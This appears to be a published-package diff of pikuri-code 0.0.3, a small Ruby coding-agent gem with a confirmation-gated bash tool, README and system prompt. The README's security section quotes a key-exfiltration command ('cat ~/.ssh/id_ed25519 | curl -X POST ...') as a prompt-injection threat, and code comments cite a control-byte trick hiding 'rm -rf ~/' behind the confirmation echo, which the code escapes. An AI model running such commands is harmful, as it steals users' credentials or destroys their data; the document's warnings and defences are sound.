pikuri-code 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/README.md +96 -0
- data/lib/pikuri/tool/bash.rb +272 -0
- data/lib/pikuri-code.rb +28 -0
- data/prompts/coding-system-prompt.txt +28 -0
- metadata +87 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: e5c2e283890b53d73bb46cfdf5abc198c5a09a908f77b17265dd3ba64f61b12c
|
|
4
|
+
data.tar.gz: 59d87ce5b21e976cd1a1a6852fa80325eafbc17c5e224f7ba1aa8d6e17acefec
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: e16f07b2c46aca5cfc660153aa6ba857cf7ce6a3ba4f38e19f0986da16d1c4e0bd62fcba6fe38587a5dda5594c2fc18ec0086fd436e1b5122d2a57876f0a9f19
|
|
7
|
+
data.tar.gz: 5f3a42c1f84d033baaff24a2455615620007eca32c6bafc65868ead653a9495dfe4af0da11f712322a0a7abc92ac590277d65af42fd27f1ed4b9cfc475d05444
|
data/README.md
ADDED
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
# pikuri-code
|
|
2
|
+
|
|
3
|
+
In-repo coding-agent gem for the
|
|
4
|
+
[pikuri](https://codeberg.org/mvysny/pikuri) AI-assistant toolkit,
|
|
5
|
+
in the spirit of Claude Code, opencode, or pi-code — but kept
|
|
6
|
+
deliberately small so you can read the sources in an evening.
|
|
7
|
+
|
|
8
|
+
Adds the shell-and-dev-loop layer on top of
|
|
9
|
+
[`pikuri-workspace`](../pikuri-workspace/README.md)'s filesystem
|
|
10
|
+
tools:
|
|
11
|
+
- `Pikuri::Tool::Bash` — runs commands via the
|
|
12
|
+
`Pikuri::Subprocess.spawn` chokepoint with `Confirmer` gating.
|
|
13
|
+
- `bin/pikuri-code` — the interactive coding-agent binary that
|
|
14
|
+
wires file + shell + web tools into an agent rooted at the
|
|
15
|
+
current working directory.
|
|
16
|
+
|
|
17
|
+
Wire-by-wire it's the same `Pikuri::Agent` as `pikuri-chat`
|
|
18
|
+
(from [`pikuri-core`](../pikuri-core/README.md)), with a different
|
|
19
|
+
system prompt and a different toolset: `read`, `write`, `edit`,
|
|
20
|
+
`grep`, `glob`, `bash`, plus the web tools and the calculator.
|
|
21
|
+
Sub-agents are enabled, and any
|
|
22
|
+
[Agent Skills](https://agentskills.io/specification) discovered
|
|
23
|
+
under `.pikuri/skills`, `.claude/skills`, or `.agents/skills`
|
|
24
|
+
(project or home) get exposed to the model on demand.
|
|
25
|
+
|
|
26
|
+
## Install
|
|
27
|
+
|
|
28
|
+
```ruby
|
|
29
|
+
# Gemfile
|
|
30
|
+
gem 'pikuri-code'
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
Pulls in `pikuri-core` + `pikuri-workspace` transitively.
|
|
34
|
+
|
|
35
|
+
## Usage
|
|
36
|
+
|
|
37
|
+
Run from the root of the repo you want it to work in:
|
|
38
|
+
|
|
39
|
+
```sh
|
|
40
|
+
cd ~/code/your-project
|
|
41
|
+
/path/to/pikuri/pikuri-code/bin/pikuri-code
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
You'll land in a REPL — type a request at the `>` prompt, hit
|
|
45
|
+
enter, and the agent will start reading files, running commands,
|
|
46
|
+
and editing code to satisfy it. Ctrl+D (or Ctrl+C) exits. You
|
|
47
|
+
can also pass an initial message on the command line:
|
|
48
|
+
|
|
49
|
+
```sh
|
|
50
|
+
/path/to/pikuri/pikuri-code/bin/pikuri-code "find the failing spec and fix it"
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
The first time the agent wants to write a file or run a shell
|
|
54
|
+
command, it prompts you on the terminal (`(y/n)?`). Read what
|
|
55
|
+
it's about to do before you say yes. If an `AGENTS.md` or
|
|
56
|
+
`CLAUDE.md` exists at the workspace root, it's prepended to the
|
|
57
|
+
system prompt as project context.
|
|
58
|
+
|
|
59
|
+
## Security: this is a tech demo, treat it accordingly
|
|
60
|
+
|
|
61
|
+
**Do not run `pikuri-code` against a sensitive checkout on a
|
|
62
|
+
machine that holds secrets you care about.** It is a working demo
|
|
63
|
+
of the coding-agent shape, *not* a hardened tool. The threat
|
|
64
|
+
model has glaring holes:
|
|
65
|
+
|
|
66
|
+
- **No sandbox.** The `bash` tool runs commands as your user,
|
|
67
|
+
with your environment, your `$HOME`, your `~/.ssh`, your shell
|
|
68
|
+
history, your browser cookies, your cloud CLI credentials —
|
|
69
|
+
all reachable. An LLM that's been prompt-injected (e.g. by a
|
|
70
|
+
malicious README it scraped, a poisoned dependency, or a
|
|
71
|
+
crafted file in the repo) can ask to run
|
|
72
|
+
`cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only thing
|
|
73
|
+
standing between that and exfiltration is *you* reading the
|
|
74
|
+
confirmation prompt carefully. The workspace lock applies to
|
|
75
|
+
pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it
|
|
76
|
+
does **not** apply to `bash`, which can `cat`, `cp`, `scp`,
|
|
77
|
+
`curl` anything the OS lets your user touch.
|
|
78
|
+
- **`--yolo` auto-approves everything.** That flag exists for
|
|
79
|
+
use *inside* a disposable container or VM. Running `--yolo`
|
|
80
|
+
on your laptop is equivalent to handing the model a root
|
|
81
|
+
shell. Don't.
|
|
82
|
+
- **Network tools fetch arbitrary URLs.** `web_search`,
|
|
83
|
+
`web_scrape`, and `fetch` are happy to pull whatever the
|
|
84
|
+
model asks for, and the content of those pages then becomes
|
|
85
|
+
part of the conversation — classic indirect prompt-injection
|
|
86
|
+
surface.
|
|
87
|
+
- **No audit log of approved actions.** Once you approve a
|
|
88
|
+
`bash` command it runs; there's no separate record beyond
|
|
89
|
+
your scrollback.
|
|
90
|
+
|
|
91
|
+
In short: run it inside a Docker container, a dev container, a
|
|
92
|
+
VM, a fresh user account — anywhere you'd be fine with a stranger
|
|
93
|
+
having a shell. The sandboxing story is a known gap and tracked
|
|
94
|
+
as future work (see [`IDEAS.md`](../IDEAS.md)); until it lands,
|
|
95
|
+
**assume the agent can do anything your user can do**, and
|
|
96
|
+
approve prompts on that basis.
|
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'rainbow'
|
|
4
|
+
|
|
5
|
+
module Pikuri
|
|
6
|
+
class Tool
|
|
7
|
+
# The +bash+ tool — run an arbitrary shell command in the workspace.
|
|
8
|
+
# Instantiating +Tool::Bash.new(workspace: ws, confirmer: c)+ produces
|
|
9
|
+
# a tool whose {Tool#to_ruby_llm_tool} wiring is identical to any
|
|
10
|
+
# bundled tool's. Same shape as {Tool::Write} (workspace + confirmer
|
|
11
|
+
# captured by the +execute+ closure at construction).
|
|
12
|
+
#
|
|
13
|
+
# == Confirmation
|
|
14
|
+
#
|
|
15
|
+
# Every command requires confirmation. Bash composes the full prompt
|
|
16
|
+
# (header line, +$ <command>+ echo, +(y/n)?+ cue) and hands it to the
|
|
17
|
+
# confirmer; the confirmer renders + parses the answer. The command
|
|
18
|
+
# echo passes through {.visible} which escapes control bytes so the
|
|
19
|
+
# model can't smuggle a +\r\033[2K rm -rf ~/+ behind the displayed
|
|
20
|
+
# text. Execution uses the raw command; only the *display* is
|
|
21
|
+
# sanitized.
|
|
22
|
+
#
|
|
23
|
+
# == Subprocess wiring
|
|
24
|
+
#
|
|
25
|
+
# The command runs through {Pikuri::Subprocess.spawn} with argv:
|
|
26
|
+
#
|
|
27
|
+
# timeout --signal=TERM --kill-after=5s <timeout>s bash -c <command>
|
|
28
|
+
#
|
|
29
|
+
# +bash -c+ (no +-l+) — no profile/rc sourcing, no inherited login
|
|
30
|
+
# environment beyond what pikuri itself runs in. +timeout(1)+ from
|
|
31
|
+
# GNU coreutils handles the SIGTERM-then-SIGKILL race; we never use
|
|
32
|
+
# Ruby's +Timeout.timeout+ (can't reliably kill subprocesses). The
|
|
33
|
+
# +--kill-after=5s+ gives the command 5 seconds to handle SIGTERM
|
|
34
|
+
# cleanly before SIGKILL is sent.
|
|
35
|
+
#
|
|
36
|
+
# == Timeout detection
|
|
37
|
+
#
|
|
38
|
+
# GNU coreutils' +timeout+ exits +124+ after a successful SIGTERM,
|
|
39
|
+
# +137+ after escalating to SIGKILL. We treat both as "command timed
|
|
40
|
+
# out". A third code, +125+, is also accepted: uutils-coreutils 0.2.2
|
|
41
|
+
# (the Rust reimplementation shipped on some distros) sends the
|
|
42
|
+
# SIGTERM correctly but then mis-reports +125+ ("timeout itself
|
|
43
|
+
# failed") instead of +124+ whenever +--kill-after+ is in play. False-
|
|
44
|
+
# positive risk on real GNU coreutils is low — our argv is fixed and
|
|
45
|
+
# well-formed, so a +125+ there would indicate a misconfigured PATH
|
|
46
|
+
# rather than a routine timeout.
|
|
47
|
+
#
|
|
48
|
+
# Caveat: +137+ is ambiguous — a command killed by the OOM-killer
|
|
49
|
+
# also exits +137+. v1 accepts the mis-classification; the
|
|
50
|
+
# observation tells the user "sent SIGTERM, then SIGKILL" regardless.
|
|
51
|
+
#
|
|
52
|
+
# == Output handling
|
|
53
|
+
#
|
|
54
|
+
# Combined stdout+stderr (popen2e). Head+tail truncation at
|
|
55
|
+
# {OUTPUT_HEAD} + {OUTPUT_TAIL} bytes with a marker reporting both
|
|
56
|
+
# bytes-omitted and the original total — the model needs the scale
|
|
57
|
+
# to decide whether to re-run with +head+/+tail+/+grep+.
|
|
58
|
+
#
|
|
59
|
+
# == Backgrounded subprocesses
|
|
60
|
+
#
|
|
61
|
+
# Plain +cmd &+ does NOT detach — the backgrounded child inherits our
|
|
62
|
+
# combined-output pipe by default, so {Pikuri::Subprocess#wait} blocks
|
|
63
|
+
# on +io.read+ until the backgrounded process exits. The model must
|
|
64
|
+
# redirect fds away from our pipe to genuinely background:
|
|
65
|
+
# +cmd >/dev/null 2>&1 &+. Such commands stay in our pgroup and get
|
|
66
|
+
# SIGTERM on pikuri exit via {Pikuri::Subprocess.cleanup!}; +nohup+ /
|
|
67
|
+
# +setsid+ plus redirection opt out of cleanup.
|
|
68
|
+
#
|
|
69
|
+
# == Refusals
|
|
70
|
+
#
|
|
71
|
+
# All returned as +"Error: ..."+ observations:
|
|
72
|
+
#
|
|
73
|
+
# * Empty / whitespace-only +command+ → fast reject before confirming.
|
|
74
|
+
# * +timeout+ outside +[1, MAX_TIMEOUT]+ → bounds error.
|
|
75
|
+
# * User declined the confirmation → +"Error: user declined ..."+.
|
|
76
|
+
# * +timeout+ exit (+124+ / +137+) → timeout error with partial output.
|
|
77
|
+
class Bash < Tool
|
|
78
|
+
# Pikuri-convention per-module logger; the +Bash+ progname tags the
|
|
79
|
+
# construction-time warning below so it's clear in the shared
|
|
80
|
+
# +Pikuri.log_io+ stream which tool issued it.
|
|
81
|
+
# @return [Logger]
|
|
82
|
+
LOGGER = Pikuri.logger_for('Bash')
|
|
83
|
+
|
|
84
|
+
# @return [Integer] default value of the +timeout+ parameter (seconds).
|
|
85
|
+
DEFAULT_TIMEOUT = 120
|
|
86
|
+
|
|
87
|
+
# @return [Integer] hard upper bound on the +timeout+ parameter.
|
|
88
|
+
MAX_TIMEOUT = 600
|
|
89
|
+
|
|
90
|
+
# @return [String] grace period between SIGTERM and SIGKILL,
|
|
91
|
+
# passed to +timeout --kill-after=...+.
|
|
92
|
+
KILL_AFTER = '5s'
|
|
93
|
+
|
|
94
|
+
# @return [Integer] bytes preserved from the start of the output
|
|
95
|
+
# when the combined-output stream exceeds {OUTPUT_HEAD} + {OUTPUT_TAIL}.
|
|
96
|
+
OUTPUT_HEAD = 15 * 1024
|
|
97
|
+
|
|
98
|
+
# @return [Integer] bytes preserved from the end of the output.
|
|
99
|
+
OUTPUT_TAIL = 15 * 1024
|
|
100
|
+
|
|
101
|
+
# Description shown to the LLM. opencode-shape: summary + +Usage:+
|
|
102
|
+
# bullets. Per-parameter constraints (default, max) live in the
|
|
103
|
+
# parameter descriptions.
|
|
104
|
+
#
|
|
105
|
+
# @return [String]
|
|
106
|
+
DESCRIPTION = <<~DESC
|
|
107
|
+
Run a bash command in the workspace.
|
|
108
|
+
|
|
109
|
+
Usage:
|
|
110
|
+
- Use for tasks the dedicated tools can't do: git, tests, package managers, multi-step shell pipelines.
|
|
111
|
+
- Prefer `read` / `write` / `edit` / `grep` / `glob` over `cat` / `sed` / `rg` / `find` — they're workspace-resolved.
|
|
112
|
+
- Each call starts in the workspace root; there is no pwd persistence between calls. Use `cd /path && cmd` in one command.
|
|
113
|
+
- stdin is closed; interactive commands hang until timeout. Use non-interactive flags (`apt -y`, `git commit -m`).
|
|
114
|
+
- Plain `cmd &` does NOT detach — the backgrounded process inherits our output pipe and blocks. To genuinely background, redirect fds: `cmd >/dev/null 2>&1 &`. Add `nohup` or `setsid` to survive pikuri exit.
|
|
115
|
+
- Combined stdout+stderr is returned. Suppress either via `2>/dev/null` etc.
|
|
116
|
+
- Large outputs are head+tail-truncated. Pipe through `head`/`tail`/`grep`/`wc` to control volume.
|
|
117
|
+
- Non-zero exit status is a normal observation, not an error.
|
|
118
|
+
- The user must confirm every command before it runs; on rejection an Error is returned.
|
|
119
|
+
DESC
|
|
120
|
+
|
|
121
|
+
# @param workspace [Tool::Workspace] captured for +chdir+; commands
|
|
122
|
+
# run in +workspace.cwd+. Bash does NOT path-resolve individual
|
|
123
|
+
# arguments — the +command+ string is opaque shell syntax.
|
|
124
|
+
# @param confirmer [Tool::Confirmer] consulted before every command.
|
|
125
|
+
# @raise [RuntimeError] if +bash+ or +timeout+ aren't on +PATH+;
|
|
126
|
+
# fail-loud at construction rather than the first tool call.
|
|
127
|
+
# @return [Bash]
|
|
128
|
+
def initialize(workspace:, confirmer:)
|
|
129
|
+
Bash.send(:check_binaries!)
|
|
130
|
+
# Prototype-stage capability advisory. The Bash tool runs commands
|
|
131
|
+
# with pikuri's own UID and inherits its filesystem view — there is
|
|
132
|
+
# no chroot, container, seccomp, or syscall filter today. Anything
|
|
133
|
+
# readable to the user is readable to the LLM via +cat ~/.ssh/id_*+
|
|
134
|
+
# / +aws configure list+ / etc. The per-command +Confirmer+ is the
|
|
135
|
+
# only line of defense; logged loud so anyone wiring this tool up
|
|
136
|
+
# sees the warning at startup, not on the day of an incident.
|
|
137
|
+
LOGGER.warn(
|
|
138
|
+
'Tool::Bash is a prototype: commands run unsandboxed under your UID and can read ' \
|
|
139
|
+
'sensitive files (~/.ssh, AWS credentials, browser sessions, ...). Use with care; ' \
|
|
140
|
+
'a future release will gate this behind a sandbox.'
|
|
141
|
+
)
|
|
142
|
+
super(
|
|
143
|
+
name: 'bash',
|
|
144
|
+
description: DESCRIPTION,
|
|
145
|
+
parameters: Parameters.build { |p|
|
|
146
|
+
p.required_string :command,
|
|
147
|
+
'Bash command to execute. Multi-line is fine. ' \
|
|
148
|
+
'Example: "ls -la lib/".'
|
|
149
|
+
p.optional_string :description,
|
|
150
|
+
'Short 3-7 word label shown to the user alongside ' \
|
|
151
|
+
'the command, e.g. "Run unit tests".'
|
|
152
|
+
p.optional_integer :timeout,
|
|
153
|
+
"Timeout in seconds. Defaults to #{DEFAULT_TIMEOUT}, " \
|
|
154
|
+
"max #{MAX_TIMEOUT}, e.g. 300."
|
|
155
|
+
},
|
|
156
|
+
execute: ->(command:, description: nil, timeout: DEFAULT_TIMEOUT) {
|
|
157
|
+
Bash.run(workspace: workspace, confirmer: confirmer,
|
|
158
|
+
command: command, description: description, timeout: timeout)
|
|
159
|
+
}
|
|
160
|
+
)
|
|
161
|
+
end
|
|
162
|
+
|
|
163
|
+
# Bounds-check, confirm, spawn, and render the observation. Returns
|
|
164
|
+
# either +"$ ...\n<out>\n\nexit status: N"+ on a normal exit, or
|
|
165
|
+
# +"Error: ..."+ on rejection / timeout / bad inputs.
|
|
166
|
+
#
|
|
167
|
+
# @param workspace [Tool::Workspace]
|
|
168
|
+
# @param confirmer [Tool::Confirmer]
|
|
169
|
+
# @param command [String] raw command as supplied by the LLM
|
|
170
|
+
# @param description [String, nil] optional short label for the user
|
|
171
|
+
# @param timeout [Integer] seconds before SIGTERM is sent
|
|
172
|
+
# @return [String]
|
|
173
|
+
def self.run(workspace:, confirmer:, command:, description:, timeout:)
|
|
174
|
+
return 'Error: empty bash command.' if command.strip.empty?
|
|
175
|
+
return "Error: timeout must be >= 1, got #{timeout}" if timeout < 1
|
|
176
|
+
return "Error: timeout must be <= #{MAX_TIMEOUT}, got #{timeout}" if timeout > MAX_TIMEOUT
|
|
177
|
+
|
|
178
|
+
prompt = compose_prompt(command: command, description: description, timeout: timeout)
|
|
179
|
+
return 'Error: user declined the bash command.' unless confirmer.confirm?(prompt: prompt)
|
|
180
|
+
|
|
181
|
+
result = Pikuri::Subprocess.spawn(
|
|
182
|
+
'timeout', '--signal=TERM', "--kill-after=#{KILL_AFTER}", "#{timeout}s",
|
|
183
|
+
'bash', '-c', command,
|
|
184
|
+
chdir: workspace.cwd.to_s
|
|
185
|
+
).wait
|
|
186
|
+
|
|
187
|
+
output = truncate(result.output)
|
|
188
|
+
exit_code = result.status.exitstatus
|
|
189
|
+
|
|
190
|
+
# 124 (GNU SIGTERM), 137 (GNU SIGKILL), 125 (uutils-coreutils
|
|
191
|
+
# 0.2.2 bug when --kill-after is set). See class header.
|
|
192
|
+
if exit_code == 124 || exit_code == 137 || exit_code == 125
|
|
193
|
+
"Error: command timed out after #{timeout}s (sent SIGTERM, then SIGKILL).\n\n" \
|
|
194
|
+
"$ #{visible(command)}\n#{output}"
|
|
195
|
+
else
|
|
196
|
+
"$ #{visible(command)}\n#{output}\n\nexit status: #{exit_code}"
|
|
197
|
+
end
|
|
198
|
+
end
|
|
199
|
+
|
|
200
|
+
# Compose the multi-line confirmation prompt. Three lines:
|
|
201
|
+
#
|
|
202
|
+
# 1. +OK to run bash[: <desc>][ \[Timeout: Ns\]]+ (bold)
|
|
203
|
+
# 2. +$ <visible(command)>+ (dim)
|
|
204
|
+
# 3. +(y/n)?+
|
|
205
|
+
#
|
|
206
|
+
# Colon after +bash+ is dropped when there's no description, since a
|
|
207
|
+
# trailing colon with nothing after it reads as broken. Timeout
|
|
208
|
+
# suffix appears only when non-default.
|
|
209
|
+
#
|
|
210
|
+
# @return [String]
|
|
211
|
+
def self.compose_prompt(command:, description:, timeout:)
|
|
212
|
+
header = +'OK to run bash'
|
|
213
|
+
desc_clean = description&.strip
|
|
214
|
+
header << ": #{desc_clean}" if desc_clean && !desc_clean.empty?
|
|
215
|
+
header << " [Timeout: #{timeout}s]" if timeout != DEFAULT_TIMEOUT
|
|
216
|
+
|
|
217
|
+
[
|
|
218
|
+
Rainbow(header).bold,
|
|
219
|
+
Rainbow("$ #{visible(command)}").dimgray,
|
|
220
|
+
'(y/n)?'
|
|
221
|
+
].join("\n")
|
|
222
|
+
end
|
|
223
|
+
private_class_method :compose_prompt
|
|
224
|
+
|
|
225
|
+
# Escape control bytes for safe display while preserving +\n+
|
|
226
|
+
# (multi-line shell commands are normal). Catches +\r+, +\x1b+
|
|
227
|
+
# (ESC, the ANSI introducer), +\b+, NUL, DEL, etc. — without this,
|
|
228
|
+
# a model could craft +command: "\rrm -rf ~/"+ that visually
|
|
229
|
+
# overwrites the echo line after the user has already read it.
|
|
230
|
+
#
|
|
231
|
+
# @param command [String]
|
|
232
|
+
# @return [String]
|
|
233
|
+
def self.visible(command)
|
|
234
|
+
command.gsub(/[\x00-\x09\x0b-\x1f\x7f]/) { |c| format('\\x%02x', c.ord) }
|
|
235
|
+
end
|
|
236
|
+
private_class_method :visible
|
|
237
|
+
|
|
238
|
+
# Head+tail-truncate +output+ to {OUTPUT_HEAD} + {OUTPUT_TAIL}
|
|
239
|
+
# bytes with a marker reporting both bytes-omitted and total.
|
|
240
|
+
# No-op when the output already fits.
|
|
241
|
+
#
|
|
242
|
+
# @param output [String]
|
|
243
|
+
# @return [String]
|
|
244
|
+
def self.truncate(output)
|
|
245
|
+
total = output.bytesize
|
|
246
|
+
return output if total <= OUTPUT_HEAD + OUTPUT_TAIL
|
|
247
|
+
|
|
248
|
+
omitted = total - (OUTPUT_HEAD + OUTPUT_TAIL)
|
|
249
|
+
head = output.byteslice(0, OUTPUT_HEAD)
|
|
250
|
+
tail = output.byteslice(total - OUTPUT_TAIL, OUTPUT_TAIL)
|
|
251
|
+
"#{head}\n... [#{omitted} bytes omitted; total was #{total} bytes] ...\n#{tail}"
|
|
252
|
+
end
|
|
253
|
+
private_class_method :truncate
|
|
254
|
+
|
|
255
|
+
# Verify +bash+ and GNU +timeout+ are reachable on +PATH+. Routed
|
|
256
|
+
# through {Pikuri::Subprocess.spawn} to honor the subprocess seam
|
|
257
|
+
# (no direct +system+ / +backtick+ in +lib/+). +bash+ missing
|
|
258
|
+
# surfaces as +Errno::ENOENT+ from +popen2e+; +timeout+ missing
|
|
259
|
+
# surfaces as a non-zero exit from +command -v+.
|
|
260
|
+
#
|
|
261
|
+
# @return [void]
|
|
262
|
+
# @raise [RuntimeError] if either binary is missing
|
|
263
|
+
def self.check_binaries!
|
|
264
|
+
result = Pikuri::Subprocess.spawn('bash', '-c', 'command -v timeout >/dev/null', chdir: '/').wait
|
|
265
|
+
raise "Tool::Bash requires GNU coreutils 'timeout' on PATH" unless result.status.success?
|
|
266
|
+
rescue Errno::ENOENT
|
|
267
|
+
raise "Tool::Bash requires 'bash' on PATH"
|
|
268
|
+
end
|
|
269
|
+
private_class_method :check_binaries!
|
|
270
|
+
end
|
|
271
|
+
end
|
|
272
|
+
end
|
data/lib/pikuri-code.rb
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'pikuri-core'
|
|
4
|
+
require 'pikuri-workspace'
|
|
5
|
+
|
|
6
|
+
# Entry file for the pikuri-code gem. After +require 'pikuri-code'+,
|
|
7
|
+
# +Pikuri::Tool::Bash+ is defined and the gem's +prompts/+ directory
|
|
8
|
+
# is appended to +Pikuri::PROMPT_DIRS+ so
|
|
9
|
+
# +Pikuri.prompt(:'coding-system-prompt')+ resolves to the right
|
|
10
|
+
# file regardless of which gem actually shipped it.
|
|
11
|
+
#
|
|
12
|
+
# Zeitwerk loader is mounted under +Pikuri::Tool+ rather than rooted
|
|
13
|
+
# at this gem's lib/ — same trick pikuri-workspace uses to avoid
|
|
14
|
+
# Zeitwerk redefining the +Pikuri::Tool+ class as an inferred
|
|
15
|
+
# module. See pikuri-workspace/lib/pikuri-workspace.rb for the
|
|
16
|
+
# rationale.
|
|
17
|
+
Pikuri::PROMPT_DIRS << File.expand_path('../prompts', __dir__)
|
|
18
|
+
|
|
19
|
+
module Pikuri
|
|
20
|
+
class Tool
|
|
21
|
+
LOADER_PIKURI_CODE = Zeitwerk::Loader.new
|
|
22
|
+
LOADER_PIKURI_CODE.tag = 'pikuri-code'
|
|
23
|
+
LOADER_PIKURI_CODE.push_dir(File.expand_path('pikuri/tool', __dir__), namespace: Pikuri::Tool)
|
|
24
|
+
LOADER_PIKURI_CODE.ignore(File.expand_path('pikuri-code.rb', __dir__))
|
|
25
|
+
LOADER_PIKURI_CODE.setup
|
|
26
|
+
LOADER_PIKURI_CODE.eager_load
|
|
27
|
+
end
|
|
28
|
+
end
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
You are an expert coding assistant who reads, edits, and runs code via tools to solve software engineering tasks.
|
|
2
|
+
|
|
3
|
+
You operate on the local filesystem under a workspace directory. All file-touching tools resolve paths within that workspace; trying to escape returns an error. The `bash` and `write` tools may prompt the user for confirmation before running — if they decline, accept it and don't retry the same operation.
|
|
4
|
+
|
|
5
|
+
You have access to tools described in the API's tool list. To call one, use the standard tool-call mechanism — do not write tool calls as text.
|
|
6
|
+
|
|
7
|
+
If several next steps are independent (e.g. reading two unrelated files, or running unrelated checks), emit them as parallel tool calls in a single turn rather than one at a time.
|
|
8
|
+
|
|
9
|
+
Choosing a tool:
|
|
10
|
+
- File reading: `read` for a known path, `grep` to search file contents by pattern, `glob` to find files by name pattern. Do NOT use `bash` for these (no `cat`, `sed`, `awk`, `rg`, `find`) — the dedicated tools respect the workspace and produce cleaner output.
|
|
11
|
+
- Editing: `edit` for surgical changes — its `old_string` argument must match exact bytes, so always `read` the target file first. Use `write` for new files, or for wholesale rewrites of existing files (which will prompt the user for confirmation).
|
|
12
|
+
- Running things: `bash` for tests, builds, git, scripts, and other shell commands. Briefly explain non-trivial commands before running them.
|
|
13
|
+
- Research: `web_search`, `web_scrape`, `fetch` for stack traces, library docs, current API references — prefer local source via `read` / `grep` when the information is already in the workspace. `sub_agent` to delegate research that would otherwise blow up your context (full-codebase audits, multi-page reading).
|
|
14
|
+
- `calculator` for arithmetic beyond simple mental math.
|
|
15
|
+
|
|
16
|
+
Working on code:
|
|
17
|
+
- Look at neighboring files first — match the existing conventions, library choices, naming, and comment style.
|
|
18
|
+
- Make the smallest change that does the job. Don't refactor, rename, or add features beyond what was asked.
|
|
19
|
+
- If you're unsure how a piece of code is used, `grep` for its callers before editing it.
|
|
20
|
+
- After a substantive change, run the project's tests or build if you can locate them (look at README, package.json, Cargo.toml, Makefile, build.gradle, Gemfile, etc.).
|
|
21
|
+
- Don't add ceremonial comments. Match the surrounding code's commenting style.
|
|
22
|
+
- NEVER commit, push, or open a PR unless the user explicitly asks.
|
|
23
|
+
|
|
24
|
+
Other guidelines:
|
|
25
|
+
- Don't repeat a tool call with identical arguments — re-read the previous observation instead.
|
|
26
|
+
- On a tool error (observation starting with `Error:`): use the data you already have to continue if you can. If you can't, reply to the user that you weren't able to complete the task and briefly say why (e.g. "the test runner isn't on PATH", "the file is outside the workspace"). Do not retry the same call hoping for a different result, and do not loop on rephrased variants of the same failing call.
|
|
27
|
+
- Reference code with `file_path:line_number` so the user can navigate (e.g. `lib/agent.rb:42`).
|
|
28
|
+
- When the task is done, reply in plain text with no tool call — a short summary of what changed and any next steps the user should consider. That is how you finish.
|
metadata
ADDED
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: pikuri-code
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Martin Vysny
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2026-05-22 00:00:00.000000000 Z
|
|
12
|
+
dependencies:
|
|
13
|
+
- !ruby/object:Gem::Dependency
|
|
14
|
+
name: pikuri-core
|
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
|
16
|
+
requirements:
|
|
17
|
+
- - '='
|
|
18
|
+
- !ruby/object:Gem::Version
|
|
19
|
+
version: 0.0.3
|
|
20
|
+
type: :runtime
|
|
21
|
+
prerelease: false
|
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
23
|
+
requirements:
|
|
24
|
+
- - '='
|
|
25
|
+
- !ruby/object:Gem::Version
|
|
26
|
+
version: 0.0.3
|
|
27
|
+
- !ruby/object:Gem::Dependency
|
|
28
|
+
name: pikuri-workspace
|
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
|
30
|
+
requirements:
|
|
31
|
+
- - '='
|
|
32
|
+
- !ruby/object:Gem::Version
|
|
33
|
+
version: 0.0.3
|
|
34
|
+
type: :runtime
|
|
35
|
+
prerelease: false
|
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
37
|
+
requirements:
|
|
38
|
+
- - '='
|
|
39
|
+
- !ruby/object:Gem::Version
|
|
40
|
+
version: 0.0.3
|
|
41
|
+
description: |
|
|
42
|
+
pikuri-code adds the shell-and-dev-loop layer on top of
|
|
43
|
+
pikuri-workspace's filesystem tools: a +Pikuri::Tool::Bash+ that
|
|
44
|
+
runs commands via the +Pikuri::Subprocess+ chokepoint with
|
|
45
|
+
+Confirmer+ gating, plus the demo +bin/pikuri-code+ binary that
|
|
46
|
+
wires file + shell + web tools into an interactive coding agent
|
|
47
|
+
rooted at the current working directory. The +Pikuri.prompt+
|
|
48
|
+
search path picks up this gem's +prompts/coding-system-prompt.txt+
|
|
49
|
+
automatically on require.
|
|
50
|
+
email:
|
|
51
|
+
- martin@vysny.me
|
|
52
|
+
executables: []
|
|
53
|
+
extensions: []
|
|
54
|
+
extra_rdoc_files: []
|
|
55
|
+
files:
|
|
56
|
+
- README.md
|
|
57
|
+
- lib/pikuri-code.rb
|
|
58
|
+
- lib/pikuri/tool/bash.rb
|
|
59
|
+
- prompts/coding-system-prompt.txt
|
|
60
|
+
homepage: https://codeberg.org/mvysny/pikuri
|
|
61
|
+
licenses:
|
|
62
|
+
- MIT
|
|
63
|
+
metadata:
|
|
64
|
+
source_code_uri: https://codeberg.org/mvysny/pikuri/src/branch/master
|
|
65
|
+
changelog_uri: https://codeberg.org/mvysny/pikuri/src/branch/master/CHANGELOG.md
|
|
66
|
+
bug_tracker_uri: https://codeberg.org/mvysny/pikuri/issues
|
|
67
|
+
rubygems_mfa_required: 'true'
|
|
68
|
+
post_install_message:
|
|
69
|
+
rdoc_options: []
|
|
70
|
+
require_paths:
|
|
71
|
+
- lib
|
|
72
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
73
|
+
requirements:
|
|
74
|
+
- - ">="
|
|
75
|
+
- !ruby/object:Gem::Version
|
|
76
|
+
version: '3.3'
|
|
77
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
78
|
+
requirements:
|
|
79
|
+
- - ">="
|
|
80
|
+
- !ruby/object:Gem::Version
|
|
81
|
+
version: '0'
|
